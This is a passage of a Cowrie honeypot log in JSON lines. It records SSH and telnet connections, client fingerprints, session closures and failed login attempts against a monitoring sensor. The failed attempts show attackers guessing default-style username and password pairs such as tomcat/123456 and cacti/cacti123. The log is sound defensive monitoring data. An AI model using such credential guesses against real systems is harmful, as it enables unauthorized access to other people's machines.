v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:26.515759Z","src_ip":"94.26.106.229","session":"6d84a1864f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"111","message":"login attempt [user1/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:26.781252Z","src_ip":"94.26.106.229","session":"6d84a1864f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.228965759277344,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:26.935673Z","src_ip":"152.42.224.71","session":"e6187f5f3b1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:27.874113Z","src_ip":"94.26.106.229","session":"6d84a1864f33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41754,"dst_ip":"159.203.135.109","dst_port":22,"session":"448d054a5980","protocol":"ssh","message":"New connection: 45.156.87.204:41754 (159.203.135.109:22) [session: 448d054a5980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.413524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.417857Z","src_ip":"45.156.87.204","session":"448d054a5980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.500984Z","src_ip":"45.156.87.204","session":"448d054a5980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":47664,"dst_ip":"159.203.135.109","dst_port":22,"session":"a441dd74fae8","protocol":"ssh","message":"New connection: 94.26.106.229:47664 (159.203.135.109:22) [session: a441dd74fae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.543296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.548063Z","src_ip":"94.26.106.229","session":"a441dd74fae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.632295Z","src_ip":"94.26.106.229","session":"a441dd74fae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"cacti123","message":"login attempt [cacti/cacti123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.885839Z","src_ip":"94.26.106.229","session":"a441dd74fae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:28.950652Z","src_ip":"45.156.87.204","session":"448d054a5980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:29.972783Z","src_ip":"94.26.106.229","session":"a441dd74fae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:30.035653Z","src_ip":"45.156.87.204","session":"448d054a5980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":47672,"dst_ip":"159.203.135.109","dst_port":22,"session":"eed29b7fc3a4","protocol":"ssh","message":"New connection: 94.26.106.229:47672 (159.203.135.109:22) [session: eed29b7fc3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:30.725679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:30.730464Z","src_ip":"94.26.106.229","session":"eed29b7fc3a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:30.826567Z","src_ip":"94.26.106.229","session":"eed29b7fc3a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159573554993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:30.947040Z","src_ip":"152.42.224.71","session":"21a347a65a61","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:31.106115Z","src_ip":"94.26.106.229","session":"eed29b7fc3a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41770,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dad89f08f8d","protocol":"ssh","message":"New connection: 45.156.87.204:41770 (159.203.135.109:22) [session: 0dad89f08f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:32.090890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:32.095010Z","src_ip":"45.156.87.204","session":"0dad89f08f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:32.176932Z","src_ip":"45.156.87.204","session":"0dad89f08f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:32.200750Z","src_ip":"94.26.106.229","session":"eed29b7fc3a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:32.424321Z","src_ip":"45.156.87.204","session":"0dad89f08f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":39892,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e3c8d84edd3","protocol":"ssh","message":"New connection: 94.26.106.229:39892 (159.203.135.109:22) [session: 0e3c8d84edd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:33.450044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:33.454509Z","src_ip":"94.26.106.229","session":"0e3c8d84edd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:33.510167Z","src_ip":"45.156.87.204","session":"0dad89f08f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:33.546515Z","src_ip":"94.26.106.229","session":"0e3c8d84edd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:33.806699Z","src_ip":"94.26.106.229","session":"0e3c8d84edd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:34.896319Z","src_ip":"94.26.106.229","session":"0e3c8d84edd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60962,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3e6dc9b8d1","protocol":"telnet","message":"New connection: 152.42.224.71:60962 (10.17.0.5:23) [session: ba3e6dc9b8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.199087Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":42802,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de483530ca0","protocol":"ssh","message":"New connection: 45.156.87.204:42802 (159.203.135.109:22) [session: 9de483530ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.449054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.452960Z","src_ip":"45.156.87.204","session":"9de483530ca0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.535295Z","src_ip":"45.156.87.204","session":"9de483530ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":39902,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ebf2ca57cf","protocol":"ssh","message":"New connection: 94.26.106.229:39902 (159.203.135.109:22) [session: 82ebf2ca57cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.593287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.598229Z","src_ip":"94.26.106.229","session":"82ebf2ca57cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.685078Z","src_ip":"94.26.106.229","session":"82ebf2ca57cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.781376Z","src_ip":"45.156.87.204","session":"9de483530ca0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"aaa","message":"login attempt [aaa/aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:35.939733Z","src_ip":"94.26.106.229","session":"82ebf2ca57cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:36.865238Z","src_ip":"45.156.87.204","session":"9de483530ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.735684871673584,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:36.954439Z","src_ip":"197.251.249.87","session":"2bc8d3df13b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:37.024356Z","src_ip":"94.26.106.229","session":"82ebf2ca57cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51534,"dst_ip":"10.17.0.5","dst_port":23,"session":"46144c2e61c0","protocol":"telnet","message":"New connection: 152.42.224.71:51534 (10.17.0.5:23) [session: 46144c2e61c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:37.128536Z"}
{"eventid":"cowrie.session.closed","duration":45.667296409606934,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:37.405983Z","src_ip":"152.42.224.71","session":"c7ef1aba23da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":99.19432997703552,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:38.120095Z","src_ip":"152.42.224.71","session":"bcef68d8ebce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":39918,"dst_ip":"159.203.135.109","dst_port":22,"session":"d099b447c89a","protocol":"ssh","message":"New connection: 94.26.106.229:39918 (159.203.135.109:22) [session: d099b447c89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:38.165533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:38.175810Z","src_ip":"94.26.106.229","session":"d099b447c89a","protocol":"ssh"}
